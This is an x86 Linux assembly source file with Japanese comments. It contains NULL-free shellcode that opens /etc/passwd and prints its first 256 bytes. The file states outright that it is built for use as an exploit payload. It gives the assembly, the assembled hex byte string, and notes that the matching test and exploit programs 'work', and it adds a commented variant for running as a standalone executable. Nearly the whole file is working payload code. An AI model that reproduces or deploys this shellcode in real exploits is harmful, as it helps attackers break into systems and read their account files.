#***********************************************************************//
# print_pass.s  21:00 2006-11-19  Defolos				//
#									//
# /etc/passwdファイルの先頭256バイトをディスプレイに表示する		//
# ペイロードとして利用するため、NULLバイトが発生しないようにしている	//
#***********************************************************************//

/* It works only as BYTECODE */
.globl main
main:
	jmp	ONE
TWO:
#open
	popl	%ebx
	xorl	%eax,	%eax
	mov	%al,	11(%ebx)
	mov	$0x5,	%al
	xorl	%ecx,	%ecx
        int	$0x80
#read
	xorl	%edx,	%edx
	mov	$0xff,	%dl
	mov	%esp,	%ecx
	mov	%eax,	%ebx
	mov	$0x3,	%al
        int     $0x80
#write
	mov	$0x4,	%al
	mov	$0x1,	%bl
	int	$0x80
#exit
	mov	$0x1,	%al
	xorl	%ebx,	%ebx
	int	$0x80
ONE:
        call    TWO
        .string "/etc/passwd"


/*
test.c		[it works]
exploit.c	[it works]

"\xeb\x24\x5b\x31\xc0\x88\x43\x0b\xb0\x05"
"\x31\xc9\xcd\x80\x31\xd2\xb2\xff\x89\xe1"
"\x89\xc3\xb0\x03\xcd\x80\xb0\x04\xb3\x01"
"\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd7"
"\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61"
"\x73\x73\x77\x64"
*/


/* It works only as EXE */
/*
.globl main
main:
	jmp	ONE
TWO:
#open
	popl	%ebx
	mov	$0x5,	%al
	xorl	%ecx,	%ecx
        int	$0x80
#read
	xorl	%edx,	%edx
	inc	%edx
inc %edx
	mov	%esp,	%ecx
	mov	%eax,	%ebx
	mov	$0x3,	%al
        int     $0x80
#write
	mov	$0x4,	%al
	mov	$0x1,	%bl
	int	$0x80
#exit
	mov	$0x1,	%al
	xorl	%ebx,	%ebx
	int	$0x80
ONE:
        call    TWO
        .string "/etc/passwd"

*/
